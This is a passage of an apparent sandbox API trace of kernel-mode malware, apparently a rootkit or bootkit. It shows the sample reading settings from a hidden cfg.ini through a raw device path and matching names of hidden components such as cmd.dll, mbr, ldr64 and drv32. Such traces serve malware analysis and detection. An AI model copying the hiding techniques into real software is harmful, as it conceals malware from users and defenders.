_strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0130.098] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0130.098] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0130.098] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0130.098] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.098] KeLeaveCriticalRegion () [0130.098] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.098] ReleaseMutex (hMutex=0x100) returned 1 [0130.098] Sleep (dwMilliseconds=0x2bf20) [0130.105] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x70be6350, dwHighDateTime=0x1d24fa4)) [0130.105] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0130.105] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0130.105] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0130.105] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.105] KeEnterCriticalRegion () [0130.105] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.105] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.105] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0130.105] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.105] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0130.105] IdePortDispatch () returned 0x103 [0130.105] KeWaitForMutexObject () returned 0x0 [0130.105] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.105] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0130.106] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0130.106] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0130.106] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0130.106] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c08470 [0130.106] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.106] KeLeaveCriticalRegion () [0130.106] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.106] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.106] KeEnterCriticalRegion () [0130.106] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.106] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0130.106] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.106] KeLeaveCriticalRegion () [0130.106] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.106] KeEnterCriticalRegion () [0130.106] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.106] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.106] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0130.106] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.106] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0130.106] IdePortDispatch () returned 0x103 [0130.106] KeWaitForMutexObject () returned 0x0 [0130.106] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.106] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.106] KeLeaveCriticalRegion () [0130.106] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.106] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.106] KeEnterCriticalRegion () [0130.106] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.106] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d24000 [0130.106] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.106] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0130.107] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0130.107] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0130.107] IdePortDispatch () returned 0x103 [0130.107] KeWaitForMutexObject () returned 0x0 [0130.107] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.107] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.107] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0130.107] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0130.107] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0130.107] IdePortDispatch () returned 0x103 [0130.107] KeWaitForMutexObject () returned 0x0 [0130.107] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.107] KeLeaveCriticalRegion () [0130.107] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.108] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.108] KeEnterCriticalRegion () [0130.108] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.108] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0130.108] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.108] KeLeaveCriticalRegion () [0130.108] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.108] KeEnterCriticalRegion () [0130.108] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.108] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0130.108] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c080c0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0130.108] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.108] KeLeaveCriticalRegion () [0130.108] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.108] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.108] KeEnterCriticalRegion () [0130.108] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.108] ExFreePoolWithTag (P=0xfffffa8003c08470, Tag=0x0) [0130.108] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.108] KeLeaveCriticalRegion () [0130.108] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.108] ReleaseMutex (hMutex=0xf0) returned 1 [0130.108] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0130.108] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0130.108] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.108] KeEnterCriticalRegion () [0130.108] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.108] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.108] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0130.108] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.108] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0130.108] IdePortDispatch () returned 0x103 [0130.108] KeWaitForMutexObject () returned 0x0 [0130.109] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.109] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0130.109] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0130.109] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0130.109] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0130.109] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c07130 [0130.109] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.109] KeLeaveCriticalRegion () [0130.109] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.109] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.109] KeEnterCriticalRegion () [0130.109] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.109] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0130.109] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.109] KeLeaveCriticalRegion () [0130.109] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.109] KeEnterCriticalRegion () [0130.109] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.109] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.109] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0130.109] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.109] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0130.109] IdePortDispatch () returned 0x103 [0130.109] KeWaitForMutexObject () returned 0x0 [0130.109] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.109] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.109] KeLeaveCriticalRegion () [0130.109] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.110] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.110] KeEnterCriticalRegion () [0130.110] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.110] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d25000 [0130.110] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.110] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0130.110] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0130.110] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0130.110] IdePortDispatch () returned 0x103 [0130.110] KeWaitForMutexObject () returned 0x0 [0130.110] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.110] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.110] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0130.110] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0130.110] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0130.110] IdePortDispatch () returned 0x103 [0130.110] KeWaitForMutexObject () returned 0x0 [0130.110] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.110] KeLeaveCriticalRegion () [0130.110] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.111] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.111] KeEnterCriticalRegion () [0130.111] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.111] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0130.111] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.111] KeLeaveCriticalRegion () [0130.111] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.111] KeEnterCriticalRegion () [0130.111] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.111] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0130.111] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bfd290, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0130.111] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.111] KeLeaveCriticalRegion () [0130.111] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.111] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.111] KeEnterCriticalRegion () [0130.111] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.111] ExFreePoolWithTag (P=0xfffffa8003c07130, Tag=0x0) [0130.111] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.111] KeLeaveCriticalRegion () [0130.111] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.111] ReleaseMutex (hMutex=0xf0) returned 1 [0130.111] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0130.111] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0130.112] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.112] KeEnterCriticalRegion () [0130.112] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.112] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.112] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0130.112] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.112] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0130.112] IdePortDispatch () returned 0x103 [0130.112] KeWaitForMutexObject () returned 0x0 [0130.112] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.112] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0130.112] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0130.112] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0130.112] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0130.112] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8002845b50 [0130.112] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.112] KeLeaveCriticalRegion () [0130.112] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.112] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.112] KeEnterCriticalRegion () [0130.112] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.112] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0130.112] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.112] KeLeaveCriticalRegion () [0130.112] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.112] KeEnterCriticalRegion () [0130.112] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.112] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.112] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0130.112] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.112] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0130.112] IdePortDispatch () returned 0x103 [0130.113] KeWaitForMutexObject () returned 0x0 [0130.113] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.113] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.113] KeLeaveCriticalRegion () [0130.113] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.113] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.113] KeEnterCriticalRegion () [0130.113] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.113] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d26000 [0130.113] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.113] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0130.113] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0130.113] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0130.113] IdePortDispatch () returned 0x103 [0130.113] KeWaitForMutexObject () returned 0x0 [0130.114] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.114] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.114] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0130.114] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0130.114] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0130.114] IdePortDispatch () returned 0x103 [0130.114] KeWaitForMutexObject () returned 0x0 [0130.114] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.114] KeLeaveCriticalRegion () [0130.114] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.115] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.115] KeEnterCriticalRegion () [0130.115] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.115] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0130.115] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.115] KeLeaveCriticalRegion () [0130.115] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.115] KeEnterCriticalRegion () [0130.115] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.115] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0130.115] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c07c80, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0130.115] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.115] KeLeaveCriticalRegion () [0130.115] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.115] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.115] KeEnterCriticalRegion () [0130.115] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.115] ExFreePoolWithTag (P=0xfffffa8002845b50, Tag=0x0) [0130.115] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.115] KeLeaveCriticalRegion () [0130.115] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.115] ReleaseMutex (hMutex=0xf0) returned 1 [0130.115] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0130.115] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0130.115] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0130.115] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0130.115] KeEnterCriticalRegion () [0130.115] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.115] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.115] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0130.115] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.116] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0130.116] IdePortDispatch () returned 0x103 [0130.116] KeWaitForMutexObject () returned 0x0 [0130.116] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0130.116] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0130.116] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0130.116] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0130.116] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0130.116] _strnicmp (_Str1="drv32", _Str="lsash.xp", 